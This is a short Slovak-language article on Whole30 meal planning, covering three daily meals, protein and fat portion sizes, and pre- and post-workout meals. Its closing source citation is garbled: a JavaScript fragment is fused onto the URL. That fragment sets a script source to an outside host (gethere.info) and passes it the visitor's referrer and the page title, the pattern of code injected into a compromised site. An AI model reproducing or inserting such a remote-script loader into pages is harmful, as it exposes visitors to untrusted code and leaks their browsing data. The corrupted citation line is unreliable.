Jedným z cieľov Whole30 je vytvorenie správnych návykov pri jedení. Jesť by sa malo pravidelne, pomaly a bez rýchleho hltania. Vychutnajte si ten okamih s jedlom, pripraveným vlastnými rukami zo zdravých surovín.
Tri jedlá za deň, pričom vždy začíname bohatými raňajkami. Každé jedlo má obsahovať porciu bielkovín o veľkosti 1-2 dlane (20-30g bielkovín). Doplnené je o veľké množstvo zeleniny a príležitostné ovocie. Množstvo tuku na porciu sa doplní podľa typu:
- Oleje a tuky na varenie: 1-2 lyžice
- Maslá (klasické, ghee, orechové): 1-2 lyžice
- Kokos: 1-2 otvorené hrste
- Olivy: 1-2 otvorené hrste
- Orechy a semiačka: do 1 uzavretej hrste
- Avokádo: 1/2-1 avokádo
- Kokosové mlieko: 100-200ml
Každé jedlo by malo byť dostatočne veľké na to, aby Ste vydržali do toho ďalšieho :).
Ak cvičíte alebo vykonávate pohybové aktivity je prirodzene potrebné jesť viac. Vaše 3 hlavné jedlá sa doplnia o pred- a potréningové jedlo. Môžeme ich vnímať ako bonusové jedlá. Sú nevyhnutným zdrojom kalórií a živín, ktoré potrebujeme doplniť.
Predtréningové jedlo by sa malo skladať z malej porcie bielkovín a tuku (polovičnej a menšej ako hlavné jedlo). Jesť by sa malo 15-75 minút pred tréningom aby ste dali telu signál, že budete vykonávať nejakú aktivitu.
Potréningové jedlo by sa malo zjesť okamžite po aktivite (cca 15-30 minút po tréningu). Malo by sa skladať z normálnej porcie ľahko stráviteľnej bielkoviny a primeraného množstva zeleniny bohatej na sacharidy (ako tekvica, zemiaky, cvikla a podobne). Pred ani po tréningu nie je vhodné jesť ovocie.
Zdroj:
http://whole30.com/downloads/whole30-meal-planning.pdfs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;